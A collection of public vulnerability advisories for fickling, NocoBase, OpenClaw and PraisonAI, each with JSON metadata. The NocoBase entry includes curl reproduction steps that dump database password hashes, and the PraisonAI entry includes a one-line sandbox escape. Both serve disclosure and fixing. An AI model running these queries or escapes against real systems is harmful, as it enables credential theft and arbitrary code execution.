Trail of Bits fickling versions up to and including 0.1.10 do not include the Python standard library modules _posixsubprocess, site, and atexit in the UNSAFE_IMPORTS denylist (fickle.py). Because these modules are absent from the denylist, fickling's check_safety() function returns LIKELY_SAFE with zero findings for pickle payloads that invoke dangerous functions including _posixsubprocess.fork_exec (C-level process spawner capable of executing arbitrary binaries), site.execsitecustomize (executes arbitrary site customization code), and atexit._run_exitfuncs (triggers all registered exit handler callbacks). The fickling.load() API chains check_safety() into pickle.loads() as an explicit security gate; a LIKELY_SAFE verdict causes the payload to be deserialized and executed. This shares the same root cause as CVE-2026-22607 (cProfile), CVE-2025-67748 (pty), and CVE-2025-67747 (marshal/types). OvertlyBadEvals does not flag these modules because they are standard library imports. UnsafeImports does not flag them because they are not in the denylist. The UnusedVariables heuristic is defeated by the SETITEMS opcode pattern.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-14534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-04T14:16:28Z",
    "severity": "HIGH"
  },
  "details": "Trail of Bits fickling versions up to and including 0.1.10 do not include the Python standard library modules _posixsubprocess, site, and atexit in the UNSAFE_IMPORTS denylist (fickle.py). Because these modules are absent from the denylist, fickling\u0027s check_safety() function returns LIKELY_SAFE with zero findings for pickle payloads that invoke dangerous functions including _posixsubprocess.fork_exec (C-level process spawner capable of executing arbitrary binaries), site.execsitecustomize (executes arbitrary site customization code), and atexit._run_exitfuncs (triggers all registered exit handler callbacks). The fickling.load() API chains check_safety() into pickle.loads() as an explicit security gate; a LIKELY_SAFE verdict causes the payload to be deserialized and executed. This shares the same root cause as CVE-2026-22607 (cProfile), CVE-2025-67748 (pty), and CVE-2025-67747 (marshal/types). OvertlyBadEvals does not flag these modules because they are standard library imports. UnsafeImports does not flag them because they are not in the denylist. The UnusedVariables heuristic is defeated by the SETITEMS opcode pattern.",
  "id": "GHSA-v8cr-9jrc-fwf9",
  "modified": "2026-07-04T15:30:23Z",
  "published": "2026-07-04T15:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-m6fh-58r7-x697"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14534"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/e8408615b63adf034f891f653692ab9b51f0f5af"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V8VM-CQH8-Q87Q

Vulnerability from github – Published: 2026-07-28 20:53 – Updated: 2026-07-28 20:53
VLAI
Summary
NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass
Details

Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass

Summary

The checkSQL() function in plugin-collection-sql implements a keyword-based blacklist to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is incomplete: it only checks for a subset of dangerous PostgreSQL system functions and does not restrict access to sensitive system catalog tables such as pg_shadow, pg_roles, or pg_stat_activity.

An authenticated user with the admin role can exploit this to dump PostgreSQL password hashes (pg_shadow), read all NocoBase user credentials (hashed passwords from the users table), and enumerate the full database schema — all data that admin users should never be able to access through the application interface.


Affected Component

File: packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    // PostgreSQL — BLOCKED
    'pg_read_file',
    'pg_read_binary_file',
    'pg_stat_file',
    'pg_ls_dir',
    'pg_logdir_ls',
    'pg_terminate_backend',
    'pg_cancel_backend',
    'current_setting',
    'set_config',
    'pg_reload_conf',
    'pg_sleep',
    'generate_series',

    // MySQL — BLOCKED
    'LOAD_FILE',
    'BENCHMARK',
    '@@global.',
    '@@session.',

    // SQLite — BLOCKED
    'sqlite3_load_extension',
    'load_extension',
  ];

  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,
  //                 information_schema, users table direct access, etc.

  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

The execute action in sql.ts passes user-supplied SQL directly through this insufficient check:

// sql.ts — execute action
execute: async (ctx: Context, next: Next) => {
  const { sql } = ctx.action.params.values || {};
  try {
    checkSQL(sql);         // ← insufficient validation
  } catch (e) {
    ctx.throw(400, ctx.t(e.message));
  }
  // SQL is executed directly against the database
  const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });
  ctx.body = { data, fields, sources };
}

Root Cause

The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories:

  1. PostgreSQL system catalog tables — pg_shadow, pg_authid, pg_roles, pg_stat_activity are not restricted
  2. Application-level sensitive tables — users (containing hashed passwords) can be queried directly
  3. information_schema — full schema enumeration is possible
  4. Schema-qualified variants — even some blocked functions could be bypassed via pg_catalog. prefix (e.g. pg_catalog.pg_read_file may bypass checks in older versions)

The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.


Steps to Reproduce

Prerequisites: A user account with the admin role (has the pm.data-source-manager.collection-sql ACL snippet).

Step 1: Authenticate and obtain a token:

TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"<password>"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

Step 2: Dump PostgreSQL password hashes from pg_shadow:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}'

Response:

{
  "data": {
    "data": [
      {
        "usename": "nocobase",
        "passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU="
      }
    ]
  }
}

Step 3: Dump NocoBase user credentials:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}'

Response (verified):

{
  "data": {
    "data": [
      {
        "id": 1,
        "email": "admin@nocobase.com",
        "username": "nocobase",
        "password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b"
      }
    ]
  }
}

Additional Verified Bypass Queries

Query Blocked? Data Exposed
SELECT usename, passwd FROM pg_shadow Not blocked PostgreSQL DB user password hashes
SELECT id, email, password FROM users Not blocked All NocoBase user credential hashes
SELECT table_name FROM information_schema.tables Not blocked Full database schema enumeration
SELECT rolname, rolsuper FROM pg_roles Not blocked All DB roles and superuser flags
SELECT pid, query FROM pg_stat_activity Not blocked Live SQL queries from all sessions
SELECT pg_read_file('/etc/passwd') Blocked —
SELECT current_setting('app.key') Blocked —

Why Admin-Required Still Matters

This vulnerability is rated High despite requiring admin-level authentication. The reasoning:

1. Security Boundary Violation (Scope Changed → S:C)

The admin role in NocoBase is an application-level role — it manages workflows, collections, and UI. It is not a database administrator. Accessing pg_shadow is a PostgreSQL system-level privilege that admins should never have. The checkSQL() function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.

2. Data That Admin Cannot Access Through Normal UI

Even with admin privileges, NocoBase's UI and API do not expose: - pg_shadow (PostgreSQL internal password store) - Raw users.password hashes via standard API responses - Full information_schema enumeration

VUL-2 grants access to all of the above — data the application explicitly chose not to expose.

3. Enables Lateral Movement

The pg_shadow SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains direct PostgreSQL access with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading all data in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.

4. Enables Full Attack Chain When Combined with Other Vulnerabilities

Member user (lowest privilege)
  → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)
  → VUL-1: RCE reads APP_KEY from process.env
  → Forge JWT with admin role
  → VUL-2: Dump pg_shadow + users.password
  → Crack hashes → full PostgreSQL access

Impacted API Endpoint

POST /api/sqlCollection:execute
  • Authentication: Required (admin role)
  • ACL Snippet registered in plugin.ts: typescript this.app.acl.registerSnippet({ name: `pm.data-source-manager.collection-sql`, actions: ['sqlCollection:*'], // includes :execute });
  • The admin role includes this snippet by default.

Recommended Fixes

Fix 1 (Immediate): Extend the blacklist with system catalog tables

const dangerKeywords = [
  // ... existing entries ...

  // ADD: PostgreSQL system catalog tables with sensitive data
  'pg_shadow',
  'pg_authid',
  'pg_auth_members',
  'pg_stat_activity',
  'pg_roles',
  // Note: information_schema should also be restricted for non-DBA roles
];

Fix 2 (Recommended): Replace blacklist with schema allowlist

Instead of blocking dangerous keywords, only allow queries against user-defined collection tables:

// Allowlist approach: extract table names from AST and verify against known collections
const allowedTables = await db.getCollectionNames(); // tables created by NocoBase users
const referencedTables = extractTableNames(parsedSQL);
if (!referencedTables.every(t => allowedTables.includes(t))) {
  throw new Error('Query references tables outside the allowed scope');
}

Fix 3 (Defense-in-depth): Use a read-only, restricted DB user

The application's DB connection should use a PostgreSQL user that: - Does not have SELECT privilege on pg_shadow or pg_authid - Only has access to the application's own schema (nocobase schema)

This ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.


Environment

Field Value
NocoBase version 2.0.59-full
Database PostgreSQL 16.14
Deployment Docker (nocobase/nocobase:2.0.59-full)
Vulnerable file plugin-collection-sql/src/server/utils.ts — checkSQL()
Vulnerable endpoint POST /api/sqlCollection:execute
Auth required Admin role (pm.data-source-manager.collection-sql snippet)

Timeline

Date Event
2026-05-29 Vulnerability discovered via whitebox source code audit of utils.ts
2026-05-29 Exploit verified on live Docker instance — pg_shadow and users.password dumped
2026-05-29 Report submitted to maintainers

Script and video PoC:

poc_vul2_sqli.py

https://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.62"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-alpha.1"
            },
            {
              "fixed": "2.1.0-alpha.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-beta.1"
            },
            {
              "fixed": "2.1.0-beta.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T20:53:08Z",
    "nvd_published_at": "2026-07-15T21:16:54Z",
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass\n\n## Summary\n\nThe `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`.\n\nAn authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** \u2014 all data that admin users should never be able to access through the application interface.\n\n---\n\n## Affected Component\n\n**File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts`\n\n```typescript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    // PostgreSQL \u2014 BLOCKED\n    \u0027pg_read_file\u0027,\n    \u0027pg_read_binary_file\u0027,\n    \u0027pg_stat_file\u0027,\n    \u0027pg_ls_dir\u0027,\n    \u0027pg_logdir_ls\u0027,\n    \u0027pg_terminate_backend\u0027,\n    \u0027pg_cancel_backend\u0027,\n    \u0027current_setting\u0027,\n    \u0027set_config\u0027,\n    \u0027pg_reload_conf\u0027,\n    \u0027pg_sleep\u0027,\n    \u0027generate_series\u0027,\n\n    // MySQL \u2014 BLOCKED\n    \u0027LOAD_FILE\u0027,\n    \u0027BENCHMARK\u0027,\n    \u0027@@global.\u0027,\n    \u0027@@session.\u0027,\n\n    // SQLite \u2014 BLOCKED\n    \u0027sqlite3_load_extension\u0027,\n    \u0027load_extension\u0027,\n  ];\n\n  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,\n  //                 information_schema, users table direct access, etc.\n\n  sql = sql.trim().split(\u0027;\u0027).shift();\n  if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error(\u0027Only supports SELECT statements or WITH clauses\u0027);\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error(\u0027SQL statements contain dangerous keywords\u0027);\n  }\n};\n```\n\nThe `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check:\n\n```typescript\n// sql.ts \u2014 execute action\nexecute: async (ctx: Context, next: Next) =\u003e {\n  const { sql } = ctx.action.params.values || {};\n  try {\n    checkSQL(sql);         // \u2190 insufficient validation\n  } catch (e) {\n    ctx.throw(400, ctx.t(e.message));\n  }\n  // SQL is executed directly against the database\n  const data = await model.findAll({ attributes: [\u0027*\u0027], limit: 5, raw: true });\n  ctx.body = { data, fields, sources };\n}\n```\n\n---\n\n## Root Cause\n\nThe blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories:\n\n1. **PostgreSQL system catalog tables** \u2014 `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted\n2. **Application-level sensitive tables** \u2014 `users` (containing hashed passwords) can be queried directly\n3. **`information_schema`** \u2014 full schema enumeration is possible\n4. **Schema-qualified variants** \u2014 even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions)\n\nThe correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.\n\n---\n\n## Steps to Reproduce\n\n**Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet).\n\n**Step 1**: Authenticate and obtain a token:\n```bash\nTOKEN=$(curl -s -X POST http://\u003cTARGET\u003e/api/auth:signIn \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"admin@example.com\",\"password\":\"\u003cpassword\u003e\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027token\u0027])\")\n```\n\n**Step 2**: Dump PostgreSQL password hashes from `pg_shadow`:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"sql\":\"SELECT usename, passwd FROM pg_shadow LIMIT 10\"}\u0027\n```\n\n**Response**:\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"usename\": \"nocobase\",\n        \"passwd\": \"SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=\"\n      }\n    ]\n  }\n}\n```\n\n**Step 3**: Dump NocoBase user credentials:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"sql\":\"SELECT id, email, username, password FROM users LIMIT 100\"}\u0027\n```\n\n**Response** (verified):\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"id\": 1,\n        \"email\": \"admin@nocobase.com\",\n        \"username\": \"nocobase\",\n        \"password\": \"1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b\"\n      }\n    ]\n  }\n}\n```\n\n---\n\n## Additional Verified Bypass Queries\n\n| Query | Blocked? | Data Exposed |\n|-------|----------|--------------|\n| `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes |\n| `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes |\n| `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration |\n| `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags |\n| `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions |\n| `SELECT pg_read_file(\u0027/etc/passwd\u0027)` |Blocked | \u2014 |\n| `SELECT current_setting(\u0027app.key\u0027)` |Blocked | \u2014 |\n\n---\n\n## Why Admin-Required Still Matters\n\nThis vulnerability is rated **High** despite requiring admin-level authentication. The reasoning:\n\n### 1. Security Boundary Violation (Scope Changed \u2192 S:C)\nThe `admin` role in NocoBase is an **application-level** role \u2014 it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.\n\n### 2. Data That Admin Cannot Access Through Normal UI\nEven with admin privileges, NocoBase\u0027s UI and API **do not expose**:\n- `pg_shadow` (PostgreSQL internal password store)\n- Raw `users.password` hashes via standard API responses\n- Full `information_schema` enumeration\n\nVUL-2 grants access to all of the above \u2014 data the application explicitly chose not to expose.\n\n### 3. Enables Lateral Movement\nThe `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application\u0027s DB credentials \u2014 bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.\n\n### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities\n```\nMember user (lowest privilege)\n  \u2192 VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)\n  \u2192 VUL-1: RCE reads APP_KEY from process.env\n  \u2192 Forge JWT with admin role\n  \u2192 VUL-2: Dump pg_shadow + users.password\n  \u2192 Crack hashes \u2192 full PostgreSQL access\n```\n\n---\n\n## Impacted API Endpoint\n\n```\nPOST /api/sqlCollection:execute\n```\n\n- **Authentication**: Required (`admin` role)\n- **ACL Snippet** registered in `plugin.ts`:\n  ```typescript\n  this.app.acl.registerSnippet({\n    name: `pm.data-source-manager.collection-sql`,\n    actions: [\u0027sqlCollection:*\u0027],   // includes :execute\n  });\n  ```\n- The `admin` role includes this snippet by default.\n\n---\n\n## Recommended Fixes\n\n### Fix 1 (Immediate): Extend the blacklist with system catalog tables\n```typescript\nconst dangerKeywords = [\n  // ... existing entries ...\n\n  // ADD: PostgreSQL system catalog tables with sensitive data\n  \u0027pg_shadow\u0027,\n  \u0027pg_authid\u0027,\n  \u0027pg_auth_members\u0027,\n  \u0027pg_stat_activity\u0027,\n  \u0027pg_roles\u0027,\n  // Note: information_schema should also be restricted for non-DBA roles\n];\n```\n\n### Fix 2 (Recommended): Replace blacklist with schema allowlist\nInstead of blocking dangerous keywords, only allow queries against **user-defined collection tables**:\n\n```typescript\n// Allowlist approach: extract table names from AST and verify against known collections\nconst allowedTables = await db.getCollectionNames(); // tables created by NocoBase users\nconst referencedTables = extractTableNames(parsedSQL);\nif (!referencedTables.every(t =\u003e allowedTables.includes(t))) {\n  throw new Error(\u0027Query references tables outside the allowed scope\u0027);\n}\n```\n\n### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user\nThe application\u0027s DB connection should use a PostgreSQL user that:\n- Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid`\n- Only has access to the application\u0027s own schema (`nocobase` schema)\n\nThis ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.\n\n---\n\n## Environment\n\n| Field | Value |\n|-------|-------|\n| NocoBase version | 2.0.59-full |\n| Database | PostgreSQL 16.14 |\n| Deployment | Docker (`nocobase/nocobase:2.0.59-full`) |\n| Vulnerable file | `plugin-collection-sql/src/server/utils.ts` \u2014 `checkSQL()` |\n| Vulnerable endpoint | `POST /api/sqlCollection:execute` |\n| Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` |\n| 2026-05-29 | Exploit verified on live Docker instance \u2014 `pg_shadow` and `users.password` dumped |\n| 2026-05-29 | Report submitted to maintainers |\n\n---\n## Script and video PoC:\n[poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py)\n\nhttps://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732",
  "id": "GHSA-v8vm-cqh8-q87q",
  "modified": "2026-07-28T20:53:09Z",
  "published": "2026-07-28T20:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/4aecb60d151a9002004dcf984f63d62f17a6cb45"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass"
}

GHSA-VFP4-8X56-J7C5

Vulnerability from github – Published: 2026-04-17 21:54 – Updated: 2026-05-12 13:35
VLAI
Summary
OpenClaw: Exec environment denylist missed high-risk interpreter startup variables
Details

Summary

Exec environment denylist missed high-risk interpreter startup variables.

Affected Packages / Versions

  • Package: openclaw
  • Ecosystem: npm
  • Affected versions: < 2026.4.10
  • Patched versions: >= 2026.4.10

Impact

The exec environment policy missed interpreter startup variables such as VIMINIT, EXINIT, LUA_INIT, and HOSTALIASES, allowing operator-supplied environment overrides to influence downstream execution or network behavior.

Technical Details

The fix expands the host environment security policy denylist to cover these and related high-risk environment variables, with regression coverage.

Fix

The issue was fixed in #63277. The first stable tag containing the fix is v2026.4.10, and openclaw@2026.4.14 includes the fix.

Fix Commit(s)

  • 2d126fc62343a7b6895351f96e4e1474bc358140
  • PR: #63277

Release Process Note

Users should upgrade to openclaw 2026.4.10 or newer. The latest npm release, 2026.4.14, already includes the fix.

Credits

Thanks to @feiyang666 of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:54:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nExec environment denylist missed high-risk interpreter startup variables.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nThe exec environment policy missed interpreter startup variables such as `VIMINIT`, `EXINIT`, `LUA_INIT`, and `HOSTALIASES`, allowing operator-supplied environment overrides to influence downstream execution or network behavior.\n\n## Technical Details\n\nThe fix expands the host environment security policy denylist to cover these and related high-risk environment variables, with regression coverage.\n\n## Fix\n\nThe issue was fixed in #63277. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `2d126fc62343a7b6895351f96e4e1474bc358140`\n- PR: #63277\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @feiyang666 of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting this issue.",
  "id": "GHSA-vfp4-8x56-j7c5",
  "modified": "2026-05-12T13:35:13Z",
  "published": "2026-04-17T21:54:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vfp4-8x56-j7c5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/2d126fc62343a7b6895351f96e4e1474bc358140"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-insufficient-environment-variable-denylist-in-exec-policy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Exec environment denylist missed high-risk interpreter startup variables"
}

GHSA-VMMJ-PFW7-FJWP

Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-07-20 21:27
VLAI
Summary
npm PraisonAI codeMode sandbox escape via Function constructor
Details

Summary

The published npm package praisonai exports a TypeScript built-in tool named codeMode. The package describes this tool as executing code in a sandboxed environment, marks its capability as sandbox: true, and registers it through the public tools facade.

The implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets process and require to undefined inside a plain JavaScript object, and then executes attacker-controlled code with the host process new Function constructor:

const fn = new Function('sandbox', `with (sandbox) { ${code} }`);
const result = fn(sandbox);

Because this runs in the host V8 context, code inside codeMode can use the JavaScript prototype chain to recover the real Function constructor:

({}).constructor.constructor('return process')()

From a normal CommonJS application script, the recovered process object exposes process.mainModule.require. That bypasses the explicit require('fs') and require('child_process') controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.

Technical Details

Current-head source says codeMode is a built-in package tool and explicitly advertises a sandbox boundary:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  13: description: 'Execute code that can import and use other tools in a sandboxed environment',
  24: capabilities: {
  25:   sandbox: true,
  26:   code: true,
  28: packageName: 'praisonai',
  85: description: 'Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.',

The same file implements security as a blocklist of exact source-code patterns:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  108: const blockedPatterns = [
  109:   /require\s*\(\s*['"]child_process['"]\s*\)/,
  110:   /require\s*\(\s*['"]fs['"]\s*\)/,
  111:   /import\s+.*from\s+['"]child_process['"]/,
  112:   /process\.exit/,
  113:   /eval\s*\(/,

It then tries to hide dangerous globals by shadowing names in a normal object:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  168: process: undefined,
  169: require: undefined,

Finally, it executes the untrusted code in the host process using new Function and with (sandbox):

src/praisonai-ts/src/tools/builtins/code-mode.ts
  187: const fn = new Function(
  188:   'sandbox',
  189:   `with (sandbox) { ${code} }`
  190: );
  191: const result = fn(sandbox);

This is not a sandbox. new Function does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.

The tool is reachable through the public npm SDK:

src/praisonai-ts/src/index.ts
  117: airweaveSearch, codeMode,

src/praisonai-ts/src/tools/tools.ts
  104: // Code Mode
  105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);
  167: // Code Mode
  168: codeMode: (config?: CodeModeConfig) => codeMode(config),

Why This Is Not Intended Behavior

This is not merely "the user can execute code because codeMode executes code." The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.

The implementation itself proves an intended security boundary exists:

  • CODE_MODE_METADATA.capabilities.sandbox is true;
  • the tool description says it executes in a sandboxed environment;
  • direct access to fs and child_process is explicitly blocked;
  • process and require are explicitly shadowed as undefined;
  • allowNetwork defaults to false; and
